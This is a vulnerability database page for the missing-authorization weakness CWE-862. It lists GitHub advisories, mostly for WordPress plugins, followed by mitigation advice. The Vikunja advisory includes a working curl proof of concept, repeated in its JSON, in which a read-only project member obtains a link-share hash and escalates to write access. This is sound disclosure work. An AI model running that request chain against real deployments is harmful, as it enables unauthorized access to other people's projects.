CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
18003 vulnerabilities reference this CWE, most recent first.
GHSA-QFRC-5W54-Q9V4
Vulnerability from github – Published: 2024-04-17 09:30 – Updated: 2026-04-28 21:34Missing Authorization vulnerability in GutenGeek GG Woo Feed for WooCommerce.This issue affects GG Woo Feed for WooCommerce: from n/a through 1.2.6.
{
"affected": [],
"aliases": [
"CVE-2024-32519"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-17T08:15:08Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in GutenGeek GG Woo Feed for WooCommerce.This issue affects GG Woo Feed for WooCommerce: from n/a through 1.2.6.",
"id": "GHSA-qfrc-5w54-q9v4",
"modified": "2026-04-28T21:34:45Z",
"published": "2024-04-17T09:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32519"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/gg-woo-feed/wordpress-gg-woo-feed-for-woocommerce-plugin-1-2-6-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QFVJ-334P-GG47
Vulnerability from github – Published: 2024-03-21 18:32 – Updated: 2025-02-14 18:30Missing Authorization vulnerability in Jean-David Daviet Download Media.This issue affects Download Media: from n/a through 1.4.2.
{
"affected": [],
"aliases": [
"CVE-2024-27190"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-21T17:15:08Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Jean-David Daviet Download Media.This issue affects Download Media: from n/a through 1.4.2.",
"id": "GHSA-qfvj-334p-gg47",
"modified": "2025-02-14T18:30:48Z",
"published": "2024-03-21T18:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27190"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/download-media/wordpress-download-media-plugin-1-4-2-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QFWC-VX6F-3G6G
Vulnerability from github – Published: 2026-10-09 20:51 – Updated: 2026-10-09 20:51Summary
A user who has only read permission on a project can call the single link-share read endpoint and receive the share's hash field — the secret credential that the anonymous POST /shares/{share}/auth endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.
Details
Affected endpoints (both verified with a complete chain):
- v1:
GET /api/v1/projects/{project}/shares/{share} - v2:
GET /api/v2/projects/{project}/shares/{share}
Permission gate: LinkSharing.CanRead (pkg/models/link_sharing_permissions.go) delegates to project.CanRead(s, a) — i.e. any user with read access to the project passes. The response serializes the hash field (pkg/models/link_sharing.go, field tag json:"hash"), which is the share's bearer credential. The share password field is correctly cleared before returning, but the hash is not restricted.
Inconsistent with the sibling list endpoint GET /projects/{project}/shares (LinkSharing.ReadAll, pkg/models/link_sharing.go:243-256), which requires project.IsAdmin — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 handler.DoReadOne wrappers call the same CanRead), so both surfaces are affected.
Impact chain: hash -> POST /api/v1/shares/{hash}/auth (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.
Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.
PoC
Steps below use two accounts: the owner (token $OWNER) and an attacker who has been granted read-only access to the project (token $READER). All requests were executed against a local Vikunja 2.5.0 instance.
- Owner creates a private project and a read-write link share (permission=1):
curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"title":"poc"}'
# -> {"id":123,...}
curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"name":"poc","permission":1}'
# -> {"id":7,"hash":"<SECRET_HASH>",...}
- Owner adds the attacker as a read-only member (permission=0):
curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \
-H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'
- Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):
curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"id":7,"hash":"<SECRET_HASH>","permission":1,...}
# v2 twin behaves identically:
curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER"
# -> 200 {"hash":"<SECRET_HASH>",...}
- Attacker exchanges the hash for a link-share JWT (no authentication required):
curl -X POST "$BASE/api/v1/shares/<SECRET_HASH>/auth" \
-H 'Content-Type: application/json' -d '{}'
# -> 200 {"token":"<LINK_JWT>",...}
- Negative control — the attacker's own user token cannot write to the project:
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \
-H 'Content-Type: application/json' -d '{"title":"direct"}'
# -> 403 Forbidden
- Escalation proof — the link-share JWT writes successfully:
curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINK_JWT>" \
-H 'Content-Type: application/json' -d '{"title":"escalated"}'
# -> 201 Created
Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).
Impact
Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require project.IsAdmin in LinkSharing.CanRead (aligning with ReadAll), or omit the hash field from responses to non-admin members.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.0"
},
"package": {
"ecosystem": "Go",
"name": "code.vikunja.io/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-91985"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-639",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-09T20:51:29Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nA user who has only read permission on a project can call the single link-share read endpoint and receive the share\u0027s `hash` field \u2014 the secret credential that the anonymous `POST /shares/{share}/auth` endpoint exchanges for a link-share JWT carrying the share\u0027s permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint\u0027s gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.\n\n## Details\n\nAffected endpoints (both verified with a complete chain):\n\n- v1: `GET /api/v1/projects/{project}/shares/{share}`\n- v2: `GET /api/v2/projects/{project}/shares/{share}`\n\nPermission gate: `LinkSharing.CanRead` (`pkg/models/link_sharing_permissions.go`) delegates to `project.CanRead(s, a)` \u2014 i.e. any user with read access to the project passes. The response serializes the `hash` field (`pkg/models/link_sharing.go`, field tag `json:\"hash\"`), which is the share\u0027s bearer credential. The share `password` field is correctly cleared before returning, but the hash is not restricted.\n\nInconsistent with the sibling list endpoint `GET /projects/{project}/shares` (`LinkSharing.ReadAll`, `pkg/models/link_sharing.go:243-256`), which requires `project.IsAdmin` \u2014 the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 `handler.DoReadOne` wrappers call the same `CanRead`), so both surfaces are affected.\n\nImpact chain: hash -\u003e `POST /api/v1/shares/{hash}/auth` (unauthenticated by design) -\u003e link-share JWT at the share\u0027s permission level -\u003e full API access at that level for that project.\n\nMitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharing_type=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.\n\n## PoC\n\nSteps below use two accounts: the owner (token `$OWNER`) and an attacker who has been granted read-only access to the project (token `$READER`). All requests were executed against a local Vikunja 2.5.0 instance.\n\n1. Owner creates a private project and a read-write link share (permission=1):\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $OWNER\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"poc\"}\u0027\n# -\u003e {\"id\":123,...}\n\ncurl -X PUT \"$BASE/api/v1/projects/123/shares\" -H \"Authorization: Bearer $OWNER\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"name\":\"poc\",\"permission\":1}\u0027\n# -\u003e {\"id\":7,\"hash\":\"\u003cSECRET_HASH\u003e\",...}\n```\n\n2. Owner adds the attacker as a read-only member (permission=0):\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/users\" -H \"Authorization: Bearer $OWNER\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"username\":\"attacker\",\"permission\":0}\u0027\n```\n\n3. Attacker reads the single share \u2014 the weak gate \u2014 and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):\n\n```\ncurl \"$BASE/api/v1/projects/123/shares/7\" -H \"Authorization: Bearer $READER\"\n# -\u003e 200 {\"id\":7,\"hash\":\"\u003cSECRET_HASH\u003e\",\"permission\":1,...}\n# v2 twin behaves identically:\ncurl \"$BASE/api/v2/projects/123/shares/7\" -H \"Authorization: Bearer $READER\"\n# -\u003e 200 {\"hash\":\"\u003cSECRET_HASH\u003e\",...}\n```\n\n4. Attacker exchanges the hash for a link-share JWT (no authentication required):\n\n```\ncurl -X POST \"$BASE/api/v1/shares/\u003cSECRET_HASH\u003e/auth\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{}\u0027\n# -\u003e 200 {\"token\":\"\u003cLINK_JWT\u003e\",...}\n```\n\n5. Negative control \u2014 the attacker\u0027s own user token cannot write to the project:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/tasks\" -H \"Authorization: Bearer $READER\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"direct\"}\u0027\n# -\u003e 403 Forbidden\n```\n\n6. Escalation proof \u2014 the link-share JWT writes successfully:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects/123/tasks\" -H \"Authorization: Bearer \u003cLINK_JWT\u003e\" \\\n -H \u0027Content-Type: application/json\u0027 -d \u0027{\"title\":\"escalated\"}\u0027\n# -\u003e 201 Created\n```\n\nObserved result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 \u2014 the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).\n\n## Impact\n\nBroken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share\u0027s permission level: write members\u0027 tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project\u0027s shared secret. Suggested fix: require `project.IsAdmin` in `LinkSharing.CanRead` (aligning with `ReadAll`), or omit the `hash` field from responses to non-admin members.",
"id": "GHSA-qfwc-vx6f-3g6g",
"modified": "2026-10-09T20:51:29Z",
"published": "2026-10-09T20:51:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-qfwc-vx6f-3g6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91985"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/pull/3688"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-privilege-escalation-via-link-share-hash"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Vikunja: Read-only project members can obtain any link share\u0027s access hash via the single-share read endpoint (v1 and v2) and escalate to the share\u0027s permission level"
}
GHSA-QFX5-PMRR-GGVV
Vulnerability from github – Published: 2023-06-09 06:30 – Updated: 2024-04-04 04:41The Quiz And Survey Master for WordPress is vulnerable to authorization bypass due to a missing capability check on the function associated with the qsm_remove_file_fd_question AJAX action in versions up to, and including, 8.0.8. This makes it possible for unauthenticated attackers to delete arbitrary media files.
{
"affected": [],
"aliases": [
"CVE-2023-0291"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-09T06:15:48Z",
"severity": "CRITICAL"
},
"details": "The Quiz And Survey Master for WordPress is vulnerable to authorization bypass due to a missing capability check on the function associated with the qsm_remove_file_fd_question AJAX action in versions up to, and including, 8.0.8. This makes it possible for unauthenticated attackers to delete arbitrary media files.",
"id": "GHSA-qfx5-pmrr-ggvv",
"modified": "2024-04-04T04:41:00Z",
"published": "2023-06-09T06:30:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0291"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/171011/wpqsm808-xsrf.txt"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2834471/quiz-master-next"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/quiz-master-next"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/68110321-db1a-4634-98cd-0afd3ec933b8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-QG22-M622-6XJG
Vulnerability from github – Published: 2023-10-20 09:30 – Updated: 2023-10-20 09:30The AI ChatBot plugin for WordPress is vulnerable to unauthorized use of AJAX actions due to missing capability checks on the corresponding functions in versions up to, and including, 4.9.2. This makes it possible for unauthenticated attackers to perform some of those actions that were intended for higher privileged users. This vulnerability is the same as CVE-2023-5533 but was reintroduced in version 4.9.2.
{
"affected": [],
"aliases": [
"CVE-2023-5656"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-20T08:15:13Z",
"severity": null
},
"details": "The AI ChatBot plugin for WordPress is vulnerable to unauthorized use of AJAX actions due to missing capability checks on the corresponding functions in versions up to, and including, 4.9.2. This makes it possible for unauthenticated attackers to perform some of those actions that were intended for higher privileged users. This vulnerability is the same as CVE-2023-5533 but was reintroduced in version 4.9.2.",
"id": "GHSA-qg22-m622-6xjg",
"modified": "2023-10-20T09:30:29Z",
"published": "2023-10-20T09:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5656"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=2977505%40chatbot%2Ftrunk\u0026old=2967435%40chatbot%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=2981113%40chatbot%2Ftrunk\u0026old=2980494%40chatbot%2Ftrunk\u0026sfp_email=\u0026sfph_mail=#file5"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9f77257a-0795-47d7-b4d4-7ce4b2a65d25?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QG2P-54PJ-CHVP
Vulnerability from github – Published: 2026-08-20 06:32 – Updated: 2026-08-20 06:32The AI Agent by SiteGround plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.2.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to upload images to the WordPress media library, bypassing the upload_files capability restriction that Contributors are normally subject to, as authenticated attackers with Contributor-level access or above can satisfy the endpoint's nonce and permission checks. The sg_ai_studio_gutenberg_nonce required by the endpoint is emitted to any user with block editor access — including Contributors — making the absent upload_files check the sole barrier to exploitation.
{
"affected": [],
"aliases": [
"CVE-2026-17153"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-20T06:16:58Z",
"severity": "MODERATE"
},
"details": "The AI Agent by SiteGround plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.2.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to upload images to the WordPress media library, bypassing the upload_files capability restriction that Contributors are normally subject to, as authenticated attackers with Contributor-level access or above can satisfy the endpoint\u0027s nonce and permission checks. The sg_ai_studio_gutenberg_nonce required by the endpoint is emitted to any user with block editor access \u2014 including Contributors \u2014 making the absent upload_files check the sole barrier to exploitation.",
"id": "GHSA-qg2p-54pj-chvp",
"modified": "2026-08-20T06:32:27Z",
"published": "2026-08-20T06:32:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-17153"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/sg-ai-studio/tags/1.2.6/core/Helper/Helper.php#L1077"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/sg-ai-studio/tags/1.2.6/core/Helper/Helper.php#L604"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/sg-ai-studio/tags/1.2.6/core/Rest/Gutenberg.php#L118"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/sg-ai-studio/tags/1.2.6/core/Rest/Rest.php#L325"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/sg-ai-studio/tags/1.2.6/core/Rest/Rest.php#L474"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3654622%40sg-ai-studio\u0026new=3654622%40sg-ai-studio"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6280f40e-2998-43d4-a78f-b393e4f36df5?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QG8P-H2M3-XM72
Vulnerability from github – Published: 2023-11-14 18:30 – Updated: 2023-11-14 18:30The ImageMapper plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'imgmap_delete_area_ajax' function in versions up to, and including, 1.2.6. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to delete arbitrary posts and pages.
{
"affected": [],
"aliases": [
"CVE-2023-5506"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-07T11:15:11Z",
"severity": "MODERATE"
},
"details": "The ImageMapper plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the \u0027imgmap_delete_area_ajax\u0027 function in versions up to, and including, 1.2.6. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to delete arbitrary posts and pages.",
"id": "GHSA-qg8p-h2m3-xm72",
"modified": "2023-11-14T18:30:26Z",
"published": "2023-11-14T18:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5506"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/imagemapper/tags/1.2.6/imagemapper.php#L748"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/31dff395-c3ce-4ebe-8d38-5243fc4510d6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QG93-HR7R-24GF
Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14The activation process in Travis CI, for certain 2021-09-03 through 2021-09-10 builds, causes secret data to have unexpected sharing that is not specified by the customer-controlled .travis.yml file. In particular, the desired behavior (if .travis.yml has been created locally by a customer, and added to git) is for a Travis service to perform builds in a way that prevents public access to customer-specific secret environment data such as signing keys, access credentials, and API tokens. However, during the stated 8-day interval, secret data could be revealed to an unauthorized actor who forked a public repository and printed files during a build process.
{
"affected": [],
"aliases": [
"CVE-2021-41077"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-14T16:15:00Z",
"severity": "HIGH"
},
"details": "The activation process in Travis CI, for certain 2021-09-03 through 2021-09-10 builds, causes secret data to have unexpected sharing that is not specified by the customer-controlled .travis.yml file. In particular, the desired behavior (if .travis.yml has been created locally by a customer, and added to git) is for a Travis service to perform builds in a way that prevents public access to customer-specific secret environment data such as signing keys, access credentials, and API tokens. However, during the stated 8-day interval, secret data could be revealed to an unauthorized actor who forked a public repository and printed files during a build process.",
"id": "GHSA-qg93-hr7r-24gf",
"modified": "2022-05-24T19:14:23Z",
"published": "2022-05-24T19:14:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41077"
},
{
"type": "WEB",
"url": "https://blog.travis-ci.com/2021-09-13-bulletin"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=28523350"
},
{
"type": "WEB",
"url": "https://news.ycombinator.com/item?id=28524727"
},
{
"type": "WEB",
"url": "https://travis-ci.community/t/security-bulletin/12081"
},
{
"type": "WEB",
"url": "https://twitter.com/peter_szilagyi/status/1437646118700175360"
},
{
"type": "WEB",
"url": "https://twitter.com/peter_szilagyi/status/1437649838477283330"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-QGF8-FG36-G63X
Vulnerability from github – Published: 2023-06-09 15:30 – Updated: 2024-04-04 04:42The WP Activity Log Premium plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the ajax_switch_db function in versions up to, and including, 4.5.0. This makes it possible for authenticated attackers with subscriber-level or higher to make changes to the plugin's settings.
{
"affected": [],
"aliases": [
"CVE-2023-2284"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-09T13:15:09Z",
"severity": "MODERATE"
},
"details": "The WP Activity Log Premium plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the ajax_switch_db function in versions up to, and including, 4.5.0. This makes it possible for authenticated attackers with subscriber-level or higher to make changes to the plugin\u0027s settings.",
"id": "GHSA-qgf8-fg36-g63x",
"modified": "2024-04-04T04:42:29Z",
"published": "2023-06-09T15:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2284"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026new=2911239%40wp-security-audit-log%2Ftrunk\u0026old=2897171%40wp-security-audit-log%2Ftrunk\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6e29fd6b-462a-42be-9a2a-b6717b20a937?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-QGJH-44QJ-VGV5
Vulnerability from github – Published: 2024-11-01 15:31 – Updated: 2024-11-01 15:31Missing Authorization vulnerability in Presto Made, Inc Presto Player allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Presto Player: from n/a through 3.0.2.
{
"affected": [],
"aliases": [
"CVE-2024-43285"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-01T15:15:45Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Presto Made, Inc Presto Player allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Presto Player: from n/a through 3.0.2.",
"id": "GHSA-qgjh-44qj-vgv5",
"modified": "2024-11-01T15:31:59Z",
"published": "2024-11-01T15:31:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43285"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/presto-player/wordpress-presto-player-plugin-3-0-2-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.